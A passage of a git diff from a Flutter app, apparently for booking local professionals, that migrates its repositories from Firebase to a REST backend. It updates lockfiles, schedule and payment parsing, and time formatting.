url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_platform_interface
|
||||
sha256: "57cbf196c486bc2cf1f02b85784932c6094376284b3ad5779d1b1c6c6a816b80"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_web
|
||||
sha256: c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.3"
|
||||
shared_preferences_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_windows
|
||||
sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
sky_engine:
|
||||
dependency: transitive
|
||||
description: flutter
|
||||
@@ -265,10 +321,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: test_api
|
||||
sha256: "9955ae474176f7ac8ee4e989dadfb411a58c30415bcfb648fa04b2b8a03afa7f"
|
||||
sha256: "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.7.0"
|
||||
version: "0.7.2"
|
||||
typed_data:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: typed_data
|
||||
sha256: f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.4.0"
|
||||
vector_math:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -281,18 +345,26 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: vm_service
|
||||
sha256: "3923c89304b715fb1eb6423f017651664a03bf5f4b29983627c4da791f74a4ec"
|
||||
sha256: "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "14.2.1"
|
||||
version: "14.2.5"
|
||||
web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: web
|
||||
sha256: afe077240a270dcfd2aafe77602b4113645af95d0ad31128cc02bce5ac5d5152
|
||||
sha256: "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.3.0"
|
||||
version: "1.1.1"
|
||||
xdg_directories:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: xdg_directories
|
||||
sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.0"
|
||||
sdks:
|
||||
dart: ">=3.3.0 <4.0.0"
|
||||
flutter: ">=3.18.0-18.0.pre.54"
|
||||
dart: ">=3.5.0 <4.0.0"
|
||||
flutter: ">=3.24.0"
|
||||
|
||||
@@ -3,5 +3,4 @@ library profession_repository;
|
||||
export 'src/models/models.dart';
|
||||
export 'src/entities/entities.dart';
|
||||
export 'src/repositories/profession_repo.dart';
|
||||
export 'src/repositories/firebase_profession_repository.dart';
|
||||
export 'src/repositories/api_profession_repository.dart';
|
||||
@@ -1 +1,2 @@
|
||||
export 'profession_ui.dart';
|
||||
export 'professions.dart';
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
import 'package:equatable/equatable.dart';
|
||||
|
||||
class Professions extends Equatable {
|
||||
final List<String> professions;
|
||||
|
||||
const Professions(this.professions);
|
||||
|
||||
@override
|
||||
List<Object?> get props => [professions];
|
||||
}
|
||||
@@ -5,6 +5,8 @@ import 'package:shared_preferences/shared_preferences.dart';
|
||||
import 'package:profession_repository/profession_repository.dart';
|
||||
import 'profession_repo.dart';
|
||||
|
||||
const _kHttpTimeout = Duration(seconds: 20);
|
||||
|
||||
const _base = 'https://backend.prosapp.co/api/v1';
|
||||
|
||||
class ApiProfessionRepository implements ProfessionRepository {
|
||||
@@ -27,7 +29,7 @@ class ApiProfessionRepository implements ProfessionRepository {
|
||||
final res = await http.get(
|
||||
Uri.parse('$_base/professions'),
|
||||
headers: await _headers(),
|
||||
);
|
||||
).timeout(_kHttpTimeout);
|
||||
final data = jsonDecode(res.body);
|
||||
// Backend returns either a list of profession objects or a map with a professions key
|
||||
if (data is List) {
|
||||
|
||||
@@ -1,14 +1,6 @@
|
||||
# Generated by pub
|
||||
# See https://dart.dev/tools/pub/glossary#lockfile
|
||||
packages:
|
||||
_flutterfire_internals:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: _flutterfire_internals
|
||||
sha256: "4eec93681221723a686ad580c2e7d960e1017cf1a4e0a263c2573c2c6b0bf5cd"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.25"
|
||||
async:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -41,30 +33,6 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.1"
|
||||
cloud_firestore:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: cloud_firestore
|
||||
sha256: "31cfa4d65d6e9ea837234fffe121304034c30c9214c06207b4a35867e3757900"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.15.8"
|
||||
cloud_firestore_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_platform_interface
|
||||
sha256: a0097a26569b015faf8142e159e855241609ea9a1738b5fd1c40bfe8411b41a0
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "6.1.9"
|
||||
cloud_firestore_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_web
|
||||
sha256: ed680ece29a5750985119c09cdc276b460c3a2fa80e8c12f9b7241f6b4a7ca16
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.10.8"
|
||||
collection:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -89,30 +57,22 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.1"
|
||||
firebase_core:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_core
|
||||
sha256: "53316975310c8af75a96e365f9fccb67d1c544ef0acdbf0d88bbe30eedd1c4f9"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.27.0"
|
||||
firebase_core_platform_interface:
|
||||
ffi:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_platform_interface
|
||||
sha256: c437ae5d17e6b5cc7981cf6fd458a5db4d12979905f9aafd1fea930428a9fe63
|
||||
name: ffi
|
||||
sha256: "16ed7b077ef01ad6170a3d0c57caa4a112a38d7a2ed5602e0aca9ca6f3d98da6"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.0.0"
|
||||
firebase_core_web:
|
||||
version: "2.1.3"
|
||||
file:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_web
|
||||
sha256: c8e1d59385eee98de63c92f961d2a7062c5d9a65e7f45bdc7f1b0b205aab2492
|
||||
name: file
|
||||
sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.11.5"
|
||||
version: "7.0.1"
|
||||
flutter:
|
||||
dependency: "direct main"
|
||||
description: flutter
|
||||
@@ -136,30 +96,38 @@ packages:
|
||||
description: flutter
|
||||
source: sdk
|
||||
version: "0.0.0"
|
||||
js:
|
||||
dependency: transitive
|
||||
http:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: js
|
||||
sha256: f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3
|
||||
name: http
|
||||
sha256: "87721a4a50b19c7f1d49001e51409bddc46303966ce89a65af4f4e6004896412"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.6.7"
|
||||
version: "1.6.0"
|
||||
http_parser:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: http_parser
|
||||
sha256: "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.0.2"
|
||||
leak_tracker:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker
|
||||
sha256: "7f0df31977cb2c0b88585095d168e689669a2cc9b97c309665e3386f3e9d341a"
|
||||
sha256: "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "10.0.4"
|
||||
version: "10.0.5"
|
||||
leak_tracker_flutter_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker_flutter_testing
|
||||
sha256: "06e98f569d004c1315b991ded39924b21af84cf14cc94791b8aea337d25b57f8"
|
||||
sha256: "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.0.3"
|
||||
version: "3.0.5"
|
||||
leak_tracker_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -188,18 +156,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: material_color_utilities
|
||||
sha256: "0e0a020085b65b6083975e499759762399b4475f766c21668c4ecca34ea74e5a"
|
||||
sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.8.0"
|
||||
version: "0.11.1"
|
||||
meta:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: meta
|
||||
sha256: "7687075e408b093f36e6bbf6c91878cc0d4cd10f409506f7bc996f68220b9136"
|
||||
sha256: bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.12.0"
|
||||
version: "1.15.0"
|
||||
path:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -208,6 +176,38 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.9.0"
|
||||
path_provider_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_linux
|
||||
sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.1"
|
||||
path_provider_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_platform_interface
|
||||
sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.2"
|
||||
path_provider_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_windows
|
||||
sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.3.0"
|
||||
platform:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: platform
|
||||
sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.1.6"
|
||||
plugin_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -216,6 +216,62 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.8"
|
||||
shared_preferences:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: shared_preferences
|
||||
sha256: "6e8bf70b7fef813df4e9a36f658ac46d107db4b4cfe1048b477d4e453a8159f5"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.3"
|
||||
shared_preferences_android:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_android
|
||||
sha256: "9f9f3d372d4304723e6136663bb291c0b93f5e4c8a4a6314347f481a33bda2b1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.7"
|
||||
shared_preferences_foundation:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_foundation
|
||||
sha256: "6a52cfcdaeac77cad8c97b539ff688ccfc458c007b4db12be584fbe5c0e49e03"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.4"
|
||||
shared_preferences_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_linux
|
||||
sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_platform_interface
|
||||
sha256: "57cbf196c486bc2cf1f02b85784932c6094376284b3ad5779d1b1c6c6a816b80"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_web
|
||||
sha256: c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.3"
|
||||
shared_preferences_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_windows
|
||||
sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
sky_engine:
|
||||
dependency: transitive
|
||||
description: flutter
|
||||
@@ -265,10 +321,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: test_api
|
||||
sha256: "9955ae474176f7ac8ee4e989dadfb411a58c30415bcfb648fa04b2b8a03afa7f"
|
||||
sha256: "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.7.0"
|
||||
version: "0.7.2"
|
||||
typed_data:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: typed_data
|
||||
sha256: f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.4.0"
|
||||
vector_math:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -281,18 +345,26 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: vm_service
|
||||
sha256: "3923c89304b715fb1eb6423f017651664a03bf5f4b29983627c4da791f74a4ec"
|
||||
sha256: "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "14.2.1"
|
||||
version: "14.2.5"
|
||||
web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: web
|
||||
sha256: afe077240a270dcfd2aafe77602b4113645af95d0ad31128cc02bce5ac5d5152
|
||||
sha256: "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.3.0"
|
||||
version: "1.1.1"
|
||||
xdg_directories:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: xdg_directories
|
||||
sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.0"
|
||||
sdks:
|
||||
dart: ">=3.3.0 <4.0.0"
|
||||
flutter: ">=3.18.0-18.0.pre.54"
|
||||
dart: ">=3.5.0 <4.0.0"
|
||||
flutter: ">=3.24.0"
|
||||
|
||||
@@ -2,5 +2,4 @@ library professional_repository;
|
||||
|
||||
export 'src/models/models.dart';
|
||||
export 'src/entities/entities.dart';
|
||||
export 'src/repositories/firebase_professional_repository.dart';
|
||||
export 'src/repositories/api_professional_repository.dart';
|
||||
|
||||
@@ -19,9 +19,9 @@ class PaymentMethodEntity extends Equatable {
|
||||
|
||||
static PaymentMethodEntity fromDocument(Map<String, dynamic> doc) {
|
||||
return PaymentMethodEntity(
|
||||
nequi: doc['nequi'] as bool,
|
||||
datafono: doc['datafono'] as bool,
|
||||
transferencia: doc['transferencia'] as bool,
|
||||
nequi: doc['nequi'] as bool? ?? false,
|
||||
datafono: doc['datafono'] as bool? ?? false,
|
||||
transferencia: doc['transferencia'] as bool? ?? false,
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -19,6 +19,12 @@ class ProfessionalEntity extends Equatable {
|
||||
final List<String> specializationsPictures;
|
||||
final Schedules schedules;
|
||||
final PaymentMethodEntity paymentMethods;
|
||||
final int slotDurationMinutes;
|
||||
|
||||
/// Row id in the `professionals` table. Distinct from [id], which is the
|
||||
/// owning user's id. Endpoints such as /services/public-calendar are keyed
|
||||
/// by this one.
|
||||
final String recordId;
|
||||
|
||||
const ProfessionalEntity({
|
||||
required this.id,
|
||||
@@ -38,38 +44,17 @@ class ProfessionalEntity extends Equatable {
|
||||
required this.specializationsPictures,
|
||||
required this.schedules,
|
||||
required this.paymentMethods,
|
||||
this.slotDurationMinutes = 120,
|
||||
this.recordId = '',
|
||||
});
|
||||
|
||||
static ProfessionalEntity fromDocument(Map<String, dynamic> doc) {
|
||||
return ProfessionalEntity(
|
||||
id: doc['id'] as String,
|
||||
identification: doc['identification'] as String,
|
||||
address: doc['address'] as String,
|
||||
aditionalAddress: doc['aditional_address'] as String,
|
||||
profession: doc['profession'] as String,
|
||||
ratePreferences: doc['rate_preferences'] as bool,
|
||||
rate: doc['rate'] as String,
|
||||
locationPreferences: intToEnum(doc['location_preferences'] as int),
|
||||
bannerPicture: doc['banner_picture'] as String,
|
||||
identificationPicture: doc['identification_picture'] as String,
|
||||
certificatePicture: doc['certificate_picture'] as String,
|
||||
latitude: double.parse(doc['latitude'].toString()),
|
||||
longitude: double.parse(doc['longitude'].toString()),
|
||||
specializations: List<String>.from(doc['specializations']),
|
||||
specializationsPictures:
|
||||
List<String>.from(doc['specializations_pictures']),
|
||||
schedules: Schedules.fromDocument(doc['schedules']),
|
||||
paymentMethods: PaymentMethodEntity.fromDocument(doc['payment_methods']),
|
||||
);
|
||||
}
|
||||
|
||||
ProfessionalEntity copyWith({
|
||||
String? id,
|
||||
String? identification,
|
||||
String? address,
|
||||
String? aditionalAddress,
|
||||
String? profession,
|
||||
bool ratePreferences = false,
|
||||
bool? ratePreferences,
|
||||
String? rate,
|
||||
LocationPreferences? locationPreferences,
|
||||
String? bannerPicture,
|
||||
@@ -81,6 +66,8 @@ class ProfessionalEntity extends Equatable {
|
||||
List<String>? specializationsPictures,
|
||||
Schedules? schedules,
|
||||
PaymentMethodEntity? paymentMethods,
|
||||
int? slotDurationMinutes,
|
||||
String? recordId,
|
||||
}) {
|
||||
return ProfessionalEntity(
|
||||
id: id ?? this.id,
|
||||
@@ -88,7 +75,7 @@ class ProfessionalEntity extends Equatable {
|
||||
address: address ?? this.address,
|
||||
aditionalAddress: aditionalAddress ?? this.aditionalAddress,
|
||||
profession: profession ?? this.profession,
|
||||
ratePreferences: ratePreferences,
|
||||
ratePreferences: ratePreferences ?? this.ratePreferences,
|
||||
rate: rate ?? this.rate,
|
||||
locationPreferences: locationPreferences ?? this.locationPreferences,
|
||||
bannerPicture: bannerPicture ?? this.bannerPicture,
|
||||
@@ -102,6 +89,8 @@ class ProfessionalEntity extends Equatable {
|
||||
specializationsPictures ?? this.specializationsPictures,
|
||||
schedules: schedules ?? this.schedules,
|
||||
paymentMethods: paymentMethods ?? this.paymentMethods,
|
||||
slotDurationMinutes: slotDurationMinutes ?? this.slotDurationMinutes,
|
||||
recordId: recordId ?? this.recordId,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -110,11 +99,13 @@ class ProfessionalEntity extends Equatable {
|
||||
'id': id,
|
||||
'identification': identification,
|
||||
'address': address,
|
||||
'aditional_address': aditionalAddress,
|
||||
'additional_address': aditionalAddress,
|
||||
'profession': profession,
|
||||
'rate_preferences': ratePreferences,
|
||||
'rate': rate,
|
||||
'location_preferences': enumToInt(locationPreferences),
|
||||
// String, not the enum index: the backend answers 400
|
||||
// "location_preferences must be a string".
|
||||
'location_preferences': enumToString(locationPreferences),
|
||||
'banner_picture': bannerPicture,
|
||||
'identification_picture': identificationPicture,
|
||||
'certificate_picture': certificatePicture,
|
||||
@@ -122,8 +113,8 @@ class ProfessionalEntity extends Equatable {
|
||||
'longitude': longitude,
|
||||
'specializations': specializations,
|
||||
'specializations_pictures': specializationsPictures,
|
||||
'schedules': schedules.toJson(),
|
||||
'payment_methods': paymentMethods.toDocument(),
|
||||
'slot_duration_minutes': slotDurationMinutes,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -145,7 +136,9 @@ class ProfessionalEntity extends Equatable {
|
||||
specializations,
|
||||
specializationsPictures,
|
||||
schedules,
|
||||
paymentMethods
|
||||
paymentMethods,
|
||||
slotDurationMinutes,
|
||||
recordId,
|
||||
];
|
||||
|
||||
@override
|
||||
|
||||
@@ -28,41 +28,46 @@ class ScheduleEntity extends Equatable {
|
||||
range2Hour2: null,
|
||||
);
|
||||
|
||||
// copy func
|
||||
/// Marks "argument not given", so that passing an explicit `null` clears
|
||||
/// the hour instead of being read as "leave it as it was" — that is why
|
||||
/// going back to jornada continua used to keep the split hours around.
|
||||
static const _unset = Object();
|
||||
|
||||
ScheduleEntity copyWith({
|
||||
bool? enabled,
|
||||
bool? continuousDay,
|
||||
TimeOfDay? range1Hour1,
|
||||
TimeOfDay? range1Hour2,
|
||||
TimeOfDay? range2Hour1,
|
||||
TimeOfDay? range2Hour2,
|
||||
Object? range1Hour1 = _unset,
|
||||
Object? range1Hour2 = _unset,
|
||||
Object? range2Hour1 = _unset,
|
||||
Object? range2Hour2 = _unset,
|
||||
}) {
|
||||
return ScheduleEntity(
|
||||
enabled: enabled ?? this.enabled,
|
||||
continuousDay: continuousDay ?? this.continuousDay,
|
||||
range1Hour1: range1Hour1 ?? this.range1Hour1,
|
||||
range1Hour2: range1Hour2 ?? this.range1Hour2,
|
||||
range2Hour1: range2Hour1 ?? this.range2Hour1,
|
||||
range2Hour2: range2Hour2 ?? this.range2Hour2,
|
||||
range1Hour1: identical(range1Hour1, _unset)
|
||||
? this.range1Hour1
|
||||
: range1Hour1 as TimeOfDay?,
|
||||
range1Hour2: identical(range1Hour2, _unset)
|
||||
? this.range1Hour2
|
||||
: range1Hour2 as TimeOfDay?,
|
||||
range2Hour1: identical(range2Hour1, _unset)
|
||||
? this.range2Hour1
|
||||
: range2Hour1 as TimeOfDay?,
|
||||
range2Hour2: identical(range2Hour2, _unset)
|
||||
? this.range2Hour2
|
||||
: range2Hour2 as TimeOfDay?,
|
||||
);
|
||||
}
|
||||
|
||||
static ScheduleEntity fromDocument(Map<String, dynamic> doc) {
|
||||
return ScheduleEntity(
|
||||
enabled: doc['habilitado'] as bool,
|
||||
continuousDay: doc['continuous_day'] as bool,
|
||||
range1Hour1: _parseTime(doc['range1Hour1']),
|
||||
range1Hour2: _parseTime(doc['range1Hour2']),
|
||||
range2Hour1: _parseTime(doc['range2Hour1']),
|
||||
range2Hour2: _parseTime(doc['range2Hour2']),
|
||||
);
|
||||
}
|
||||
|
||||
static TimeOfDay? _parseTime(String? time) {
|
||||
/// Accepts both "HH:MM" and the ISO8601 the backend returns
|
||||
/// (e.g. "1970-01-01T08:30:00.000Z"). The time is read as wall clock —
|
||||
/// no timezone conversion — so 08:00 stays 08:00.
|
||||
static TimeOfDay? parseTime(String? time) {
|
||||
try {
|
||||
if (time == null) return null;
|
||||
final components = time.split(':');
|
||||
if (components.length != 2) {
|
||||
final t = time.contains('T') ? time.split('T')[1] : time;
|
||||
final components = t.split(':');
|
||||
if (components.length < 2) {
|
||||
return null;
|
||||
}
|
||||
final hour = int.parse(components[0]);
|
||||
@@ -73,22 +78,26 @@ class ScheduleEntity extends Equatable {
|
||||
}
|
||||
}
|
||||
|
||||
Map<String, dynamic> toJson() {
|
||||
return {
|
||||
'habilitado': enabled,
|
||||
'continuous_day': continuousDay,
|
||||
'range1Hour1': formatTimeOfDay(range1Hour1),
|
||||
'range1Hour2': formatTimeOfDay(range1Hour2),
|
||||
'range2Hour1': formatTimeOfDay(range2Hour1),
|
||||
'range2Hour2': formatTimeOfDay(range2Hour2),
|
||||
};
|
||||
/// "08:05", never "8:5" — the backend matches /^\d{2}:\d{2}$/.
|
||||
static String? formatTimePadded(TimeOfDay? time) {
|
||||
if (time == null) return null;
|
||||
final h = time.hour.toString().padLeft(2, '0');
|
||||
final m = time.minute.toString().padLeft(2, '0');
|
||||
return '$h:$m';
|
||||
}
|
||||
|
||||
String? formatTimeOfDay(TimeOfDay? time) {
|
||||
if (time != null) {
|
||||
return "${time.hour.toString()}:${time.minute.toString()}";
|
||||
}
|
||||
return null;
|
||||
/// The row shape PATCH /professionals/me/schedules expects.
|
||||
/// [dayOfWeek] is 0 = Monday … 6 = Sunday, the backend's own convention.
|
||||
Map<String, dynamic> toScheduleDto(int dayOfWeek) {
|
||||
return {
|
||||
'day_of_week': dayOfWeek,
|
||||
'enabled': enabled,
|
||||
'continuous_day': continuousDay,
|
||||
'range1_hour1': formatTimePadded(range1Hour1),
|
||||
'range1_hour2': formatTimePadded(range1Hour2),
|
||||
'range2_hour1': formatTimePadded(range2Hour1),
|
||||
'range2_hour2': formatTimePadded(range2Hour2),
|
||||
};
|
||||
}
|
||||
|
||||
static String? getFormatTime(TimeOfDay? time) {
|
||||
|
||||
@@ -51,28 +51,59 @@ class Schedules extends Equatable {
|
||||
);
|
||||
}
|
||||
|
||||
factory Schedules.fromDocument(Map<String, dynamic> doc) {
|
||||
return Schedules(
|
||||
monday: ScheduleEntity.fromDocument(doc['monday']),
|
||||
tuesday: ScheduleEntity.fromDocument(doc['tuesday']),
|
||||
wednesday: ScheduleEntity.fromDocument(doc['wednesday']),
|
||||
thursday: ScheduleEntity.fromDocument(doc['thursday']),
|
||||
friday: ScheduleEntity.fromDocument(doc['friday']),
|
||||
saturday: ScheduleEntity.fromDocument(doc['saturday']),
|
||||
sunday: ScheduleEntity.fromDocument(doc['sunday']),
|
||||
/// Parses the array the backend returns, keyed by `day_of_week`
|
||||
/// (0 = Monday … 6 = Sunday). Anything else yields [Schedules.empty]
|
||||
/// rather than throwing, so one malformed row cannot blank a screen.
|
||||
static Schedules fromApiArray(dynamic raw) {
|
||||
if (raw is! List || raw.isEmpty) return Schedules.empty;
|
||||
|
||||
final byDay = <int, Map<String, dynamic>>{};
|
||||
for (final s in raw) {
|
||||
if (s is! Map) continue;
|
||||
final day = (s['day_of_week'] as num?)?.toInt();
|
||||
if (day != null) byDay[day] = s.cast<String, dynamic>();
|
||||
}
|
||||
|
||||
ScheduleEntity entityFor(int day) {
|
||||
final s = byDay[day];
|
||||
if (s == null) return ScheduleEntity.empty;
|
||||
return ScheduleEntity(
|
||||
enabled: s['enabled'] as bool? ?? false,
|
||||
continuousDay: s['continuous_day'] as bool? ?? false,
|
||||
range1Hour1: ScheduleEntity.parseTime(s['range1_hour1']?.toString()),
|
||||
range1Hour2: ScheduleEntity.parseTime(s['range1_hour2']?.toString()),
|
||||
range2Hour1: ScheduleEntity.parseTime(s['range2_hour1']?.toString()),
|
||||
range2Hour2: ScheduleEntity.parseTime(s['range2_hour2']?.toString()),
|
||||
);
|
||||
}
|
||||
|
||||
Map<String, dynamic> toJson() {
|
||||
return {
|
||||
'monday': monday.toJson(),
|
||||
'tuesday': tuesday.toJson(),
|
||||
'wednesday': wednesday.toJson(),
|
||||
'thursday': thursday.toJson(),
|
||||
'friday': friday.toJson(),
|
||||
'saturday': saturday.toJson(),
|
||||
'sunday': sunday.toJson(),
|
||||
};
|
||||
return Schedules(
|
||||
monday: entityFor(0),
|
||||
tuesday: entityFor(1),
|
||||
wednesday: entityFor(2),
|
||||
thursday: entityFor(3),
|
||||
friday: entityFor(4),
|
||||
saturday: entityFor(5),
|
||||
sunday: entityFor(6),
|
||||
);
|
||||
}
|
||||
|
||||
/// The array PATCH /professionals/me/schedules expects, ordered
|
||||
/// 0 = Monday … 6 = Sunday.
|
||||
///
|
||||
/// The map form below is NOT accepted by the backend: sending it to
|
||||
/// /professionals/me returns 200 and silently discards the schedules, which
|
||||
/// is why editing opening hours appeared to work and never persisted.
|
||||
List<Map<String, dynamic>> toSchedulesArray() {
|
||||
return [
|
||||
monday.toScheduleDto(0),
|
||||
tuesday.toScheduleDto(1),
|
||||
wednesday.toScheduleDto(2),
|
||||
thursday.toScheduleDto(3),
|
||||
friday.toScheduleDto(4),
|
||||
saturday.toScheduleDto(5),
|
||||
sunday.toScheduleDto(6),
|
||||
];
|
||||
}
|
||||
|
||||
@override
|
||||
|
||||
@@ -7,5 +7,21 @@ int enumToInt(LocationPreferences state) {
|
||||
}
|
||||
|
||||
LocationPreferences intToEnum(int value) {
|
||||
if (value < 0 || value >= LocationPreferences.values.length) {
|
||||
return LocationPreferences.office;
|
||||
}
|
||||
return LocationPreferences.values[value];
|
||||
}
|
||||
|
||||
/// The wire format the backend expects: it rejects the enum index with
|
||||
/// "location_preferences must be a string".
|
||||
String enumToString(LocationPreferences state) {
|
||||
switch (state) {
|
||||
case LocationPreferences.delivery:
|
||||
return 'delivery';
|
